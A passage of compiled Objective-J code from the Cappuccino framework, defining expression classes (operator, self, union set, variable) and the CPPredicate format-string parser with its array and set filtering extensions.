if(!objj_msgSend(_17,"isKindOfClass:",objj_msgSend(CPSet,"set"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The left expression for a CPIntersectSetExpressionType expression must a CPSet");
}
var set=objj_msgSend(CPSet,"setWithSet:",_17),e=objj_msgSend(_16,"objectEnumerator"),_18;
while(_18=objj_msgSend(e,"nextObject")){
objj_msgSend(set,"removeObject:",_18);
}
return objj_msgSend(CPExpression,"expressionForConstantValue:",set);
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_19,_1a,_1b){
with(_19){
return _19;
}
}),new objj_method(sel_getUid("leftExpression"),function(_1c,_1d){
with(_1c){
return _left;
}
}),new objj_method(sel_getUid("rightExpression"),function(_1e,_1f){
with(_1e){
return _right;
}
}),new objj_method(sel_getUid("description"),function(_20,_21){
with(_20){
return objj_msgSend(_left,"description")+" MINUS "+objj_msgSend(_right,"description");
}
})]);
p;23;CPExpression_operator.jt;4015;@STATIC;1.0;i;14;CPExpression.jI;20;Foundation/CPArray.jI;21;Foundation/CPString.jI;25;Foundation/CPDictionary.jt;3896;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPDictionary.j",NO);
var _1="CPExpressionOperatorNegate";
var _2="CPExpressionOperatorAdd";
var _3="CPExpressionOperatorSubtract";
var _4="CPExpressionOperatorMultiply";
var _5="CPExpressionOperatorDivide";
var _6="CPExpressionOperatorExp";
var _7="CPExpressionOperatorAssign";
var _8="CPExpressionOperatorKeypath";
var _9="CPExpressionOperatorIndex";
var _a="CPExpressionOperatorIndexFirst";
var _b="CPExpressionOperatorIndexLast";
var _c="CPExpressionOperatorIndexSize";
var _d=objj_allocateClassPair(CPExpression,"CPExpression_operator"),_e=_d.isa;
class_addIvars(_d,[new objj_ivar("_operator"),new objj_ivar("_arguments")]);
objj_registerClassPair(_d);
class_addMethods(_d,[new objj_method(sel_getUid("initWithOperator:arguments:"),function(_f,_10,_11,_12){
with(_f){
_operator=_11;
_arguments=_12;
return _f;
}
}),new objj_method(sel_getUid("arguments"),function(_13,_14){
with(_13){
return _arguments;
}
}),new objj_method(sel_getUid("description"),function(_15,_16){
with(_15){
var _17=objj_msgSend(CPString,"string"),_18=objj_msgSend(CPArray,"array"),_19=objj_msgSend(_arguments,"count"),i;
for(i=0;i<_19;i++){
var _1a=objj_msgSend(_arguments,"objectAtIndex:",i),_1b=objj_msgSend(_1a,"description");
if(objj_msgSend(_1a,"isKindOfClass:",objj_msgSend(CPExpression_operator,"class"))){
_1b=objj_msgSend(CPString,"stringWithFormat:","(%@)",_1b);
}
objj_msgSend(_18,"addObject:",_1b);
}
switch(_operator){
case _1:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","-%@",objj_msgSend(_18,"objectAtIndex:",0));
break;
case _2:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ + %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _3:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ - %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _4:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ * %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _5:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ / %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _6:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ ** %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _7:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@ := %@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _8:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@.%@",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _9:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@[%@]",objj_msgSend(_18,"objectAtIndex:",0),objj_msgSend(_18,"objectAtIndex:",1));
break;
case _a:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@[FIRST]",objj_msgSend(_18,"objectAtIndex:",0));
break;
case _b:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@[LAST]",objj_msgSend(_18,"objectAtIndex:",0));
break;
case _c:
_17=_17+objj_msgSend(CPString,"stringWithFormat:","%@[SIZE]",objj_msgSend(_18,"objectAtIndex:",0));
break;
}
return _17;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_1c,_1d,_1e){
with(_1c){
var _1f=objj_msgSend(CPArray,"array"),_20=objj_msgSend(_arguments,"count"),i;
for(i=0;i<_20;i++){
objj_msgSend(_1f,"addObject:",objj_msgSend(objj_msgSend(_arguments,"objectAtIndex:",i),"_expressionWithSubstitutionVariables:",_1e));
}
return objj_msgSend(CPExpression_operator,"expressionForOperator:arguments:",_operator,_1f);
}
})]);
class_addMethods(_e,[new objj_method(sel_getUid("expressionForOperator:arguments:"),function(_21,_22,_23,_24){
with(_21){
return objj_msgSend(_21,"initWithOperator:arguments:",_23,_24);
}
})]);
p;19;CPExpression_self.jt;1270;@STATIC;1.0;i;14;CPExpression.jI;21;Foundation/CPString.jI;25;Foundation/CPDictionary.jI;20;Foundation/CPCoder.jt;1151;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPDictionary.j",NO);
objj_executeFile("Foundation/CPCoder.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_self"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_self").super_class},"initWithExpressionType:",CPEvaluatedObjectExpressionType);
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_5,_6,_7){
with(_5){
return objj_msgSend(_5,"init");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_8,_9,_a){
with(_8){
}
}),new objj_method(sel_getUid("isEqual:"),function(_b,_c,_d){
with(_b){
return (_d==_b);
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_e,_f,_10,_11){
with(_e){
return _10;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_12,_13,_14){
with(_12){
return _12;
}
}),new objj_method(sel_getUid("description"),function(_15,_16){
with(_15){
return "SELF";
}
})]);
p;23;CPExpression_unionset.jt;2895;@STATIC;1.0;i;14;CPExpression.jt;2857;
objj_executeFile("CPExpression.j",YES);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_unionset"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithLeft:right:"),function(_3,_4,_5,_6){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_unionset").super_class},"initWithExpressionType:",CPUnionSetExpressionType);
_left=_5;
_right=_6;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_7,_8,_9){
with(_7){
var _a=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionUnionSetLeftExpression"),_b=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionUnionSetRightExpression");
return objj_msgSend(_7,"initWithLeft:right:",_a,_b);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_c,_d,_e){
with(_c){
objj_msgSend(_e,"encodeObject:forKey:",_left,"CPExpressionUnionSetLeftExpression");
objj_msgSend(_e,"encodeObject:forKey:",_right,"CPExpressionUnionSetRightExpression");
}
}),new objj_method(sel_getUid("isEqual:"),function(_f,_10,_11){
with(_f){
if(_f==_11){
return YES;
}
if(_11.isa!=_f.isa||objj_msgSend(_11,"expressionType")!=objj_msgSend(_f,"expressionType")||!objj_msgSend(objj_msgSend(_11,"leftExpression"),"isEqual:",objj_msgSend(_f,"leftExpression"))||!objj_msgSend(objj_msgSend(_11,"rightExpression"),"isEqual:",objj_msgSend(_f,"rightExpression"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
var _16=objj_msgSend(_right,"expressionValueWithObject:context:",_14,_15);
if(!objj_msgSend(_16,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The right expression for a CPIntersectSetExpressionType expression must be either a CPArray, CPDictionary or CPSet");
}
var _17=objj_msgSend(_left,"expressionValueWithObject:context:",_14,_15);
if(!objj_msgSend(_17,"isKindOfClass:",objj_msgSend(CPSet,"set"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The left expression for a CPIntersectSetExpressionType expression must a CPSet");
}
var _18=objj_msgSend(CPSet,"setWithSet:",_17),e=objj_msgSend(_16,"objectEnumerator"),_19;
while(_19=objj_msgSend(e,"nextObject")){
objj_msgSend(_18,"addObject:",_19);
}
return objj_msgSend(CPExpression,"expressionForConstantValue:",_18);
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_1a,_1b,_1c){
with(_1a){
return _1a;
}
}),new objj_method(sel_getUid("leftExpression"),function(_1d,_1e){
with(_1d){
return _left;
}
}),new objj_method(sel_getUid("rightExpression"),function(_1f,_20){
with(_1f){
return _right;
}
}),new objj_method(sel_getUid("description"),function(_21,_22){
with(_21){
return objj_msgSend(_left,"description")+" UNION "+objj_msgSend(_right,"description");
}
})]);
p;23;CPExpression_variable.jt;2001;@STATIC;1.0;i;14;CPExpression.jI;21;Foundation/CPString.jI;25;Foundation/CPDictionary.jt;1907;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPDictionary.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_variable"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_variable")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithVariable:"),function(_3,_4,_5){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_variable").super_class},"initWithExpressionType:",CPVariableExpressionType);
_variable=objj_msgSend(_5,"copy");
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_6,_7,_8){
with(_6){
var _9=objj_msgSend(_8,"decodeObjectForKey:","CPExpressionVariable");
return objj_msgSend(_6,"initWithVariable:",_9);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_a,_b,_c){
with(_a){
objj_msgSend(_c,"encodeObject:forKey:",_variable,"CPExpressionVariable");
}
}),new objj_method(sel_getUid("isEqual:"),function(_d,_e,_f){
with(_d){
if(_d==_f){
return YES;
}
if(_f.isa!=_d.isa||objj_msgSend(_f,"expressionType")!=objj_msgSend(_d,"expressionType")||!objj_msgSend(objj_msgSend(_f,"variable"),"isEqualToString:",objj_msgSend(_d,"variable"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("variable"),function(_10,_11){
with(_10){
return _variable;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
return objj_msgSend(_15,"objectForKey:",_variable);
}
}),new objj_method(sel_getUid("description"),function(_16,_17){
with(_16){
return objj_msgSend(CPString,"stringWithFormat:","$%s",_variable);
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_18,_19,_1a){
with(_18){
var _1b=objj_msgSend(_1a,"objectForKey:",_variable);
if(_1b!=nil){
return objj_msgSend(CPExpression,"expressionForConstantValue:",_1b);
}
return _18;
}
})]);
p;13;CPPredicate.jt;24096;@STATIC;1.0;I;20;Foundation/CPValue.jI;20;Foundation/CPArray.jI;18;Foundation/CPSet.jI;19;Foundation/CPNull.jI;22;Foundation/CPScanner.ji;21;CPCompoundPredicate.ji;23;CPComparisonPredicate.ji;14;CPExpression.ji;23;CPExpression_operator.ji;24;CPExpression_aggregate.ji;25;CPExpression_assignment.jt;23792;
objj_executeFile("Foundation/CPValue.j",NO);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPSet.j",NO);
objj_executeFile("Foundation/CPNull.j",NO);
objj_executeFile("Foundation/CPScanner.j",NO);
var _1=objj_allocateClassPair(CPObject,"CPPredicate"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("predicateWithSubstitutionVariables:"),function(_3,_4,_5){
with(_3){
}
}),new objj_method(sel_getUid("evaluateWithObject:"),function(_6,_7,_8){
with(_6){
}
}),new objj_method(sel_getUid("evaluateWithObject:substitutionVariables:"),function(_9,_a,_b,_c){
with(_9){
}
}),new objj_method(sel_getUid("predicateFormat"),function(_d,_e){
with(_d){
}
}),new objj_method(sel_getUid("description"),function(_f,_10){
with(_f){
return objj_msgSend(_f,"predicateFormat");
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("predicateWithFormat:"),function(_11,_12,_13){
with(_11){
if(!_13){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,_12+" the format can't be 'nil'");
}
var _14=Array.prototype.slice.call(arguments,3);
return objj_msgSend(_11,"predicateWithFormat:argumentArray:",arguments[2],_14);
}
}),new objj_method(sel_getUid("predicateWithFormat:argumentArray:"),function(_15,_16,_17,_18){
with(_15){
if(!_17){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,_16+" the format can't be 'nil'");
}
var s=objj_msgSend(objj_msgSend(CPPredicateScanner,"alloc"),"initWithString:args:",_17,_18),p=objj_msgSend(s,"parse");
return p;
}
}),new objj_method(sel_getUid("predicateWithFormat:arguments:"),function(_19,_1a,_1b,_1c){
with(_19){
return nil;
}
}),new objj_method(sel_getUid("predicateWithValue:"),function(_1d,_1e,_1f){
with(_1d){
return objj_msgSend(objj_msgSend(CPPredicate_BOOL,"alloc"),"initWithBool:",_1f);
}
})]);
var _1=objj_allocateClassPair(CPPredicate,"CPPredicate_BOOL"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_value")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithBool:"),function(_20,_21,_22){
with(_20){
_value=_22;
return _20;
}
}),new objj_method(sel_getUid("evaluateObject:"),function(_23,_24,_25){
with(_23){
return _value;
}
}),new objj_method(sel_getUid("predicateFormat"),function(_26,_27){
with(_26){
return (_value)?"TRUEPREDICATE":"FALSEPREDICATE";
}
})]);
var _1=objj_getClass("CPArray");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPArray\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("filteredArrayUsingPredicate:"),function(_28,_29,_2a){
with(_28){
var _2b=objj_msgSend(_28,"count"),_2c=objj_msgSend(CPArray,"array"),i;
for(i=0;i<_2b;i++){
var _2d=_28[i];
if(objj_msgSend(_2a,"evaluateWithObject:",_2d)){
_2c.push(_2d);
}
}
return _2c;
}
}),new objj_method(sel_getUid("filterUsingPredicate:"),function(_2e,_2f,_30){
with(_2e){
var _31=objj_msgSend(_2e,"count");
while(_31--){
if(!objj_msgSend(_30,"evaluateWithObject:",_2e[_31])){
splice(_31,1);
}
}
}
})]);
var _1=objj_getClass("CPSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("filteredSetUsingPredicate:"),function(_32,_33,_34){
with(_32){
var _35=objj_msgSend(_32,"count"),_36=objj_msgSend(CPSet,"set"),i;
for(i=0;i<_35;i++){
var _37=objj_msgSend(_32,"objectAtIndex:",i);
if(objj_msgSend(_34,"evaluateWithObject:",_37)){
objj_msgSend(_36,"addObject:",_37);
}
}
return _36;
}
}),new objj_method(sel_getUid("filterUsingPredicate:"),function(_38,_39,_3a){
with(_38){
var _3b=objj_msgSend(_38,"count");
while(--_3b>=0){
var _3c=objj_msgSend(_38,"objectAtIndex:",_3b);
if(!objj_msgSend(_3a,"evaluateWithObject:",_3c)){
objj_msgSend(_38,"removeObjectAtIndex:",_3b);
}
}
}
})]);
var _1=objj_allocateClassPair(CPScanner,"CPPredicateScanner"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_args"),new objj_ivar("_retrieved")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithString:args:"),function(_3d,_3e,_3f,_40){
with(_3d){
_3d=objj_msgSendSuper({receiver:_3d,super_class:objj_getClass("CPPredicateScanner").super_class},"initWithString:",_3f);
if(_3d!=nil){
_args=objj_msgSend(_40,"objectEnumerator");
}
return _3d;
}
}),new objj_method(sel_getUid("nextArg"),function(_41,_42){
with(_41){
return objj_msgSend(_args,"nextObject");
}
}),new objj_method(sel_getUid("scanPredicateKeyword:"),function(_43,_44,key){
with(_43){
var loc=objj_msgSend(_43,"scanLocation");
var c;
objj_msgSend(_43,"setCaseSensitive:",NO);
if(!objj_msgSend(_43,"scanString:intoString:",key,NULL)){
return NO;
}
if(objj_msgSend(_43,"isAtEnd")){
return YES;
}
c=objj_msgSend(objj_msgSend(_43,"string"),"characterAtIndex:",objj_msgSend(_43,"scanLocation"));
if(!objj_msgSend(objj_msgSend(CPCharacterSet,"alphanumericCharacterSet"),"characterIsMember:",c)){
return YES;
}
objj_msgSend(_43,"setScanLocation:",loc);
return NO;
}
}),new objj_method(sel_getUid("parse"),function(_45,_46){
with(_45){
var r=nil;
try{
objj_msgSend(_45,"setCharactersToBeSkipped:",objj_msgSend(CPCharacterSet,"whitespaceCharacterSet"));
r=objj_msgSend(_45,"parsePredicate");
}
catch(error){
CPLogConsole("Parsing failed for "+objj_msgSend(_45,"string")+" with "+error);
}
finally{
if(!objj_msgSend(_45,"isAtEnd")){
CPLogConsole("Format string contains extra characters: \""+objj_msgSend(_45,"string")+"\"");
}
}
return r;
}
}),new objj_method(sel_getUid("parsePredicate"),function(_47,_48){
with(_47){
return objj_msgSend(_47,"parseAnd");
}
}),new objj_method(sel_getUid("parseAnd"),function(_49,_4a){
with(_49){
var l=objj_msgSend(_49,"parseOr");
while(objj_msgSend(_49,"scanPredicateKeyword:","AND")||objj_msgSend(_49,"scanPredicateKeyword:","&&")){
var r=objj_msgSend(_49,"parseOr");
if(objj_msgSend(r,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(r,"compoundPredicateType")==CPAndPredicateType){
if(objj_msgSend(l,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(l,"compoundPredicateType")==CPAndPredicateType){
objj_msgSend(objj_msgSend(l,"subpredicates"),"addObjectsFromArray:",objj_msgSend(r,"subpredicates"));
}else{
objj_msgSend(objj_msgSend(r,"subpredicates"),"insertObject:atIndex:",l,0);
l=r;
}
}else{
if(objj_msgSend(l,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(l,"compoundPredicateType")==CPAndPredicateType){
objj_msgSend(objj_msgSend(l,"subpredicates"),"addObject:",r);
}else{
l=objj_msgSend(CPCompoundPredicate,"andPredicateWithSubpredicates:",objj_msgSend(CPArray,"arrayWithObjects:",l,r));
}
}
}
return l;
}
}),new objj_method(sel_getUid("parseNot"),function(_4b,_4c){
with(_4b){
if(objj_msgSend(_4b,"scanString:intoString:","(",NULL)){
var r=objj_msgSend(_4b,"parsePredicate");
if(!objj_msgSend(_4b,"scanString:intoString:",")",NULL)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing ) in compound predicate");
}
return r;
}
if(objj_msgSend(_4b,"scanPredicateKeyword:","NOT")||objj_msgSend(_4b,"scanPredicateKeyword:","!")){
return objj_msgSend(CPCompoundPredicate,"notPredicateWithSubpredicate:",objj_msgSend(_4b,"parseNot"));
}
if(objj_msgSend(_4b,"scanPredicateKeyword:","TRUEPREDICATE")){
return objj_msgSend(CPPredicate,"predicateWithValue:",YES);
}
if(objj_msgSend(_4b,"scanPredicateKeyword:","FALSEPREDICATE")){
return objj_msgSend(CPPredicate,"predicateWithValue:",NO);
}
return objj_msgSend(_4b,"parseComparison");
}
}),new objj_method(sel_getUid("parseOr"),function(_4d,_4e){
with(_4d){
var l=objj_msgSend(_4d,"parseNot");
while(objj_msgSend(_4d,"scanPredicateKeyword:","OR")||objj_msgSend(_4d,"scanPredicateKeyword:","||")){
var r=objj_msgSend(_4d,"parseNot");
if(objj_msgSend(r,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(r,"compoundPredicateType")==CPOrPredicateType){
if(objj_msgSend(l,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(l,"compoundPredicateType")==CPOrPredicateType){
objj_msgSend(objj_msgSend(l,"subpredicates"),"addObjectsFromArray:",objj_msgSend(r,"subpredicates"));
}else{
objj_msgSend(objj_msgSend(r,"subpredicates"),"insertObject:atIndex:",l,0);
l=r;
}
}else{
if(objj_msgSend(l,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(l,"compoundPredicateType")==CPOrPredicateType){
objj_msgSend(objj_msgSend(l,"subpredicates"),"addObject:",r);
}else{
l=objj_msgSend(CPCompoundPredicate,"orPredicateWithSubpredicates:",objj_msgSend(CPArray,"arrayWithObjects:",l,r));
}
}
}
return l;
}
}),new objj_method(sel_getUid("parseComparison"),function(_4f,_50){
with(_4f){
var _51=CPDirectPredicateModifier,_52=0,_53=0,_54,_55,p,_56=NO,_57=NO;
if(objj_msgSend(_4f,"scanPredicateKeyword:","ANY")){
_51=CPAnyPredicateModifier;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","ALL")){
_51=CPAllPredicateModifier;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","NONE")){
_51=CPAnyPredicateModifier;
_56=YES;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","SOME")){
_51=CPAllPredicateModifier;
_56=YES;
}
}
}
}
_54=objj_msgSend(_4f,"parseExpression");
if(objj_msgSend(_4f,"scanString:intoString:","!=",NULL)||objj_msgSend(_4f,"scanString:intoString:","<>",NULL)){
_52=CPNotEqualToPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanString:intoString:","<=",NULL)||objj_msgSend(_4f,"scanString:intoString:","=<",NULL)){
_52=CPLessThanOrEqualToPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanString:intoString:",">=",NULL)||objj_msgSend(_4f,"scanString:intoString:","=>",NULL)){
_52=CPGreaterThanOrEqualToPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanString:intoString:","<",NULL)){
_52=CPLessThanPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanString:intoString:",">",NULL)){
_52=CPGreaterThanPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanString:intoString:","==",NULL)||objj_msgSend(_4f,"scanString:intoString:","=",NULL)){
_52=CPEqualToPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","MATCHES")){
_52=CPMatchesPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","LIKE")){
_52=CPLikePredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","BEGINSWITH")){
_52=CPBeginsWithPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","ENDSWITH")){
_52=CPEndsWithPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","IN")){
_52=CPInPredicateOperatorType;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","CONTAINS")){
_52=CPInPredicateOperatorType;
_57=YES;
}else{
if(objj_msgSend(_4f,"scanPredicateKeyword:","BETWEEN")){
var exp=objj_msgSend(_4f,"parseSimpleExpression"),a=objj_msgSend(exp,"constantValue"),_58,_59,_5a,_5b,lp,up;
if(!objj_msgSend(a,"isKindOfClass:",objj_msgSend(CPArray,"class"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"BETWEEN operator requires array argument");
}
_58=objj_msgSend(a,"objectAtIndex:",0);
_59=objj_msgSend(a,"objectAtIndex:",1);
_5a=objj_msgSend(CPExpression,"expressionForConstantValue:",_58);
_5b=objj_msgSend(CPExpression,"expressionForConstantValue:",_59);
lp=objj_msgSend(CPComparisonPredicate,"predicateWithLeftExpression:rightExpression:modifier:type:options:",_54,_5a,_51,CPGreaterThanPredicateOperatorType,_53);
up=objj_msgSend(CPComparisonPredicate,"predicateWithLeftExpression:rightExpression:modifier:type:options:",_54,_5b,_51,CPLessThanPredicateOperatorType,_53);
return objj_msgSend(CPCompoundPredicate,"andPredicateWithSubpredicates:",objj_msgSend(CPArray,"arrayWithObjects:",lp,up));
}else{
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid comparison predicate: "+objj_msgSend(objj_msgSend(_4f,"string"),"substringFromIndex:",objj_msgSend(_4f,"scanLocation")));
}
}
}
}
}
}
}
}
}
}
}
}
}
if(objj_msgSend(_4f,"scanString:intoString:","[cd]",NULL)){
_53=CPCaseInsensitivePredicateOption|CPDiacriticInsensitivePredicateOption;
}else{
if(objj_msgSend(_4f,"scanString:intoString:","[c]",NULL)){
_53=CPCaseInsensitivePredicateOption;
}else{
if(objj_msgSend(_4f,"scanString:intoString:","[d]",NULL)){
_53=CPDiacriticInsensitivePredicateOption;
}
}
}
_55=objj_msgSend(_4f,"parseExpression");
if(_57==YES){
var tmp=_54;
_54=_55;
_55=tmp;
}
p=objj_msgSend(CPComparisonPredicate,"predicateWithLeftExpression:rightExpression:modifier:type:options:",_54,_55,_51,_52,_53);
return _56?objj_msgSend(CPCompoundPredicate,"notPredicateWithSubpredicate:",p):p;
}
}),new objj_method(sel_getUid("parseExpression"),function(_5c,_5d){
with(_5c){
return objj_msgSend(_5c,"parseBinaryExpression");
}
}),new objj_method(sel_getUid("parseSimpleExpression"),function(_5e,_5f){
with(_5e){
var _60,_61,_62,dbl;
if(objj_msgSend(_5e,"scanDouble:",function(_63){
var _64=dbl;
if(typeof _63!="undefined"){
dbl=_63;
}
return _64;
})){
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(CPNumber,"numberWithDouble:",dbl));
}
if(objj_msgSend(_5e,"scanString:intoString:","-",NULL)){
return objj_msgSend(CPExpression,"expressionForFunction:arguments:","chs",objj_msgSend(CPArray,"arrayWithObject:",objj_msgSend(_5e,"parseExpression")));
}
if(objj_msgSend(_5e,"scanString:intoString:","(",NULL)){
var arg=objj_msgSend(_5e,"parseExpression");
if(!objj_msgSend(_5e,"scanString:intoString:",")",NULL)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing ) in expression");
}
return arg;
}
if(objj_msgSend(_5e,"scanString:intoString:","{",NULL)){
var a=objj_msgSend(CPMutableArray,"arrayWithCapacity:",10);
if(objj_msgSend(_5e,"scanString:intoString:","}",NULL)){
return objj_msgSend(CPExpression,"expressionForConstantValue:",a);
}
objj_msgSend(a,"addObject:",objj_msgSend(_5e,"parseExpression"));
while(objj_msgSend(_5e,"scanString:intoString:",",",NULL)){
objj_msgSend(a,"addObject:",objj_msgSend(_5e,"parseExpression"));
}
if(!objj_msgSend(_5e,"scanString:intoString:","}",NULL)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing } in aggregate");
}
return objj_msgSend(CPExpression,"expressionForConstantValue:",a);
}
if(objj_msgSend(_5e,"scanPredicateKeyword:","NULL")||objj_msgSend(_5e,"scanPredicateKeyword:","NIL")){
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(CPNull,"null"));
}
if(objj_msgSend(_5e,"scanPredicateKeyword:","TRUE")||objj_msgSend(_5e,"scanPredicateKeyword:","YES")){
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(CPNumber,"numberWithBool:",YES));
}
if(objj_msgSend(_5e,"scanPredicateKeyword:","FALSE")||objj_msgSend(_5e,"scanPredicateKeyword:","NO")){
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(CPNumber,"numberWithBool:",NO));
}
if(objj_msgSend(_5e,"scanPredicateKeyword:","SELF")){
return objj_msgSend(CPExpression,"expressionForEvaluatedObject");
}
if(objj_msgSend(_5e,"scanString:intoString:","$",NULL)){
var _65=objj_msgSend(_5e,"parseExpression");
if(!objj_msgSend(_65,"keyPath")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid variable identifier: "+_65);
}
return objj_msgSend(CPExpression,"expressionForVariable:",objj_msgSend(_65,"keyPath"));
}
_61=objj_msgSend(_5e,"scanLocation");
if(objj_msgSend(_5e,"scanString:intoString:","%",NULL)){
if(objj_msgSend(_5e,"isAtEnd")==NO){
var c=objj_msgSend(objj_msgSend(_5e,"string"),"characterAtIndex:",objj_msgSend(_5e,"scanLocation"));
switch(c){
case "%":
_61=objj_msgSend(_5e,"scanLocation");
break;
case "K":
objj_msgSend(_5e,"setScanLocation:",objj_msgSend(_5e,"scanLocation")+1);
return objj_msgSend(CPExpression,"expressionForKeyPath:",objj_msgSend(_5e,"nextArg"));
case "@":
case "c":
case "C":
case "d":
case "D":
case "i":
case "o":
case "O":
case "u":
case "U":
case "x":
case "X":
case "e":
case "E":
case "f":
case "g":
case "G":
objj_msgSend(_5e,"setScanLocation:",objj_msgSend(_5e,"scanLocation")+1);
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(_5e,"nextArg"));
case "h":
